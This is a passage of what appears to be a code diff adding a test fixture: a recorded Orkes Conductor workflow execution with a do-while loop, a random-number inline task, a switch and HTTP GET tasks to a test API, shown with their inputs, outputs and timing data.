"Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413856975, + startTime: 1713413856975, + endTime: 1713413857004, + updateTime: 1713413856975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967c418b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413856975, + startTime: 1713413856975, + endTime: 1713413857004, + updateTime: 1713413856975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967c418b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__2", + retryCount: 0, + seq: 7, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857247, + startTime: 1713413857247, + endTime: 1713413857262, + updateTime: 1713413857247, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a5e99f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__3", + retryCount: 0, + seq: 11, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857465, + startTime: 1713413857465, + endTime: 1713413857480, + updateTime: 1713413857465, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96c70633-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__4", + retryCount: 0, + seq: 15, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857687, + startTime: 1713413857687, + endTime: 1713413857702, + updateTime: 1713413857687, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96e90d27-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__5", + retryCount: 0, + seq: 19, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857930, + startTime: 1713413857930, + endTime: 1713413857945, + updateTime: 1713413857930, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "970e215b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__6", + retryCount: 0, + seq: 23, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858154, + startTime: 1713413858154, + endTime: 1713413858196, + updateTime: 1713413858154, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97304f5f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__7", + retryCount: 0, + seq: 27, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858383, + startTime: 1713413858383, + endTime: 1713413858402, + updateTime: 1713413858383, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "975319a3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__8", + retryCount: 0, + seq: 31, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858598, + startTime: 1713413858598, + endTime: 1713413858615, + updateTime: 1713413858598, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9773e817-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__9", + retryCount: 0, + seq: 35, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858836, + startTime: 1713413858836, + endTime: 1713413858852, + updateTime: 1713413858836, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979811eb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__10", + retryCount: 0, + seq: 39, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413859056, + startTime: 1713413859056, + endTime: 1713413859075, + updateTime: 1713413859056, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97b9cabf-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857015, + startTime: 1713413857015, + endTime: 1713413857015, + updateTime: 1713413857015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ac-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857015, + startTime: 1713413857015, + endTime: 1713413857015, + updateTime: 1713413857015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ac-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__2", + retryCount: 0, + seq: 8, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857270, + startTime: 1713413857270, + endTime: 1713413857270, + updateTime: 1713413857270, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a8f6e0-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__3", + retryCount: 0, + seq: 12, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857488, + startTime: 1713413857488, + endTime: 1713413857488, + updateTime: 1713413857488, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: 